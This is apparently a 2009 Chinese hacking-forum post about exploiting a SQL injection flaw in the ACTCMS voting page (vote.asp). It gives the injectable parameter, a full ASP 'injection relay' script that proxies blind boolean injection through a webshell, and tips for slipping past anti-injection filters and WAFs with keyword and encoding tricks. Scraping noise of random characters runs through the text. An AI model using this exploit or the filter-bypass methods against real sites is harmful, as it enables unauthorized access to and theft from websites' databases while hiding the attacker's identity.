注入中转的高级应用，actcms漏洞以及其他

admin

) V" N7 E# s% u' o: M8 w- M看到ninty大牛的blog的一篇文章
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
$ o1 j/ m" `; D' U3 k关于actcms漏洞的利用  by 3x qq:381862589
6 `/ g0 c4 p- b/ e: j转载请注明以上
漏洞文件：
: L  |3 d' [' G4 w$ A/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
9 n/ H4 o4 W1 ?% Q& N
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   

% e* g3 w+ N6 v- l, h; Z/ W! x3    response.end   

! _7 F% T! ]7 i0 L3 H4    end if   
% ]9 Q& e6 t1 G
5    for i=1 to request("voted").count   

/ J  y7 Q- X1 @4 Z' Y3 @% K% K  r6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

* ]1 [$ v" E5 H, E) v. t7    next   
* p- m/ N" M% }1 C  q% i
8....   

9response.Redirect "index.asp?id="&id&""   
投票结束回跳转回index.asp这个投票结果页面
" A" w, q! q* b如果投票成功票数加1
9 @8 z# N$ r7 p& {2 M, c            失败票数不变
如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
  |3 Q! i* T0 B% A
  ]9 x7 f5 @$ m4 x3 ~, G- o2009-12-27 13:20

利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了

本帖隐藏的内容需要回复才可以浏览
  |/ x! n8 c  Y3 \, w7 k; f' n9 J我们用注入中转来实现这个注入具体代码如下：
  S+ H8 q) g! V5 x& ~1 ]0 W先用寂寞的刺猬大牛的注入中转生成jmget.asp
注入地址：http://localhost/actcms/plus/vote/vote.asp
注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项

然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%

02JmdcwName=request("jmdcw")
. g2 F" m0 ~: Q+ j
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]

04JmStr="id=1&voted=-1 or 1="&JmdcwName

5 u& r( o( T3 n% y+ ^& X3 B05JmStr=URLEncoding(JmStr)

06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
# F+ B. W; k6 W8 Q8 F0 T5 B
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"

; L; Q8 A8 |: e# x5 o5 h08testurl=testurl & "?" & JmStr
" B/ ^1 g. E% _% ]" l+ a
. f: K$ u, m8 a9 B: O9 G# Q6 S09JMUrl=JMUrl & "?" & JmStr

" z& U, ^+ u0 s  K9 A% a10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
) K: U. \/ J( s" K* J
9 T$ R: M" J5 w4 `8 |  C+ @11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
. E- f9 V- q9 Y5 s
12JmCok=replace(JmCok,chr(32),"%20")  
/ h' T# V% ~' r
2 n+ W" }2 m4 n, v5 o13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数

# [5 G( E" S% Q5 k5 ?8 R9 X14  

" C% W& b! M* Z15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
8 o3 Y  P- \4 J1 u
16  

; T6 j5 N! X0 A% z5 C& y" i5 z17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
$ Y$ c- M2 f! ~6 j3 j1 `' F9 t1 R+ A
) k3 W1 ^1 E; Q8 N1 j18response.write test1&""&test2&""

% {8 o  F% n. {' R2 |2 C6 r3 Z19  

20if test1=test2 then '如前后记录相等，表示失败

* w' E7 K" g  Y( p/ s6 l21  response.write "failed"
7 M! n3 ?& _7 a8 Y
+ @( {7 g" d6 S7 v5 Q5 }22else

$ `2 j" x: ^6 w1 C- D! G23  response.write "succeed"
$ ]' v5 s/ t* t( g4 h% W
24end if  

25  
" t, A! t; n7 {
26response.write "by 3x"
5 ^$ p$ _8 a% L5 p
" j  M/ {7 I% U; Y27  

% D$ I2 x! r0 e" ~6 Q3 S* f28  

29Function PostData(PostUrl,PostStr,PostCok,PostRef)   

30Dim Http
8 q% T" [7 l  E$ y  a
1 e. B6 d; [- Y  R3 _31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

32With Http
  S) k* Q% J( f: J" m
2 p8 ^/ ^: b; X. V33  

" Y# i) b. t5 b- e% O) |" V  c1 ~34.Open "GET",PostUrl,False
* j5 A: z$ |( K4 E: m  r4 ^' Y/ ]9 m
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
3 t* ?# p& L3 N& v( b9 h
36.SetRequestHeader "Referer",PostRef

37.SetRequestHeader "Cookie",PostCok

38.Send ()
* m( J; ?  s7 A# i# S5 o) q9 f
1 O2 G. n% |6 h* @3 I' {1 f39PostData = .ResponseBody
% y( w# L) Q2 a! p0 Q
40End With

41Set Http = Nothing
! H" s' t& r; C& k. W- ]3 ?8 L8 _
42PostData =bytes2BSTR(PostData)
: @* _9 U; p' N- A. g* D/ O6 q
43End Function

# {" S' v- _" @  \% h! M' o) x0 N44  

3 w. S% X* X; z& T* J$ Q; n45  

# r2 Z5 n& S# l- ?2 V46Function bytes2BSTR(vIn)

0 d; Z1 F; R" E2 `47Dim strReturn
7 s/ B; z! p8 x7 s' `1 {
. G: L- F* f+ o3 O+ _48Dim I, ThisCharCode, NextCharCode
$ ?% |; }9 l, }1 F
: T5 @! E0 s' v+ d( t49strReturn = ""

50For I = 1 To LenB(vIn)

51ThisCharCode = AscB(MidB(vIn, I, 1))

52If ThisCharCode < &H80 Then
& G/ r! p6 p) T' I6 ]  t& ]
53strReturn = strReturn & Chr(ThisCharCode)

54Else

55NextCharCode = AscB(MidB(vIn, I + 1, 1))
$ `. @; T1 ?) e6 _5 ~0 `7 l
' T) Y2 u% V9 [% M56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
. Z. z/ x' @' v6 x
* ]; v$ _1 l& U+ c57I = I + 1

8 O1 Y. U" {" B: g$ _$ Y( Z. {58End If
0 f! s. M6 A5 Z; ^
59Next

60bytes2BSTR = strReturn

4 m! ~* J- a/ I6 q61End Function
9 P6 N2 B6 v% T
62  

" O! k; p9 G# s2 l4 X$ ^63Function URLEncoding(vstrin)  

64strReturn=""

65Dim i

66For i=1 To Len(vstrin)
9 a; e4 e# w5 l7 ?
3 E# S1 K8 V% L4 M+ n% u8 J1 x67ThisChr=Mid(vstrin,i,1)
) \: U) w7 _4 f  N5 b# o3 [
0 l8 w! {, r4 T3 s, d68if Abs(Asc(ThisChr))< &HFF Then

; s* a8 L8 {3 x' E9 {69strReturn=strReturn & ThisChr
# w9 v+ O) ^& N' \3 M' O
% F. L7 J0 J& W. W7 w70Else

71InnerCode=Asc(ThisChr)
8 ]) ?9 [& j2 ~, n0 _0 U3 d3 J
& N/ N) V( l0 _' c72If InnerCode<0 Then

0 t5 t8 ~: G+ B73InnerCode=InnerCode + &H10000

74End If

75Hight1=(InnerCode And &HFF00) \&HFF

76Low1=InnerCode And &HFF
$ r$ o7 |  B+ v) k; B
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
% Q! s0 l! _4 V# K' V/ e$ t
78End if

79Next
7 D& N6 y8 f+ d  Q2 I7 ~2 l
/ T8 R4 a# F! K; X80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
/ g' T6 s( D4 k& U. J" i& [
3 L0 T+ c5 u- K& K81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
/ c. D# r6 m: H0 ~$ b
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
" r/ j7 W6 P* e( X
3 x2 o2 K3 t6 d% W& ^83URLEncoding=strReturn
  f! H* O. P  h. L/ z
84End Function
2 G' U2 x3 Q$ `( q
" w3 W0 P* k5 v6 s9 Q85  
9 y% C! C& y+ w. Q% p/ Q
  j% N, P7 p$ V' i1 E' A86function getSt(body)

; @  q6 n$ B9 d; @; G8 W0 `- a87  startpot=instr(body,"投票人数：")+len("投票人数：")
- ^: W7 x( }' B
88  endpot=instr(startpot,body," ")
1 n( c( f+ ~5 v% g8 W; c3 V
89  getSt=mid(body,startpot,endpot-startpot)
! O. @: S$ h! m& G
90end function
- x( y7 N' c$ J2 f; z. U5 F
91%>
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果：
投票成功：
+ ^% k/ g1 E! p( C) z+ [http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
9 \( K0 ~) v1 v* y5 i
& h3 V, j0 z1 [# j2009-12-27 13:29
投票失败
( k1 b" g' M6 [, ^http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

2009-12-27 13:29
-------------------------------------------------------------------------------
+ m! P1 l1 l3 A5 q再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
- X' r* n3 t" W6 n1 P; k( J/ q( |' l很抱歉。。。只能用单线程工具去注入。。。。。
5 z3 R; C2 n+ H3 t5 G+ o+ h9 }2 E所以失败。。。不好意思。。。
-------------------------------------------------------------------------------
/ k. i3 c/ b% K. n
3 H0 }5 o$ A1 E7 v; l" J注入中转的一些其他应用
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
2.post注入转成get型的注入，方便我们使用工具来跑
3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
- F/ P* o( p0 q4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过
# P2 d* C6 l% d3 q2 ^8 @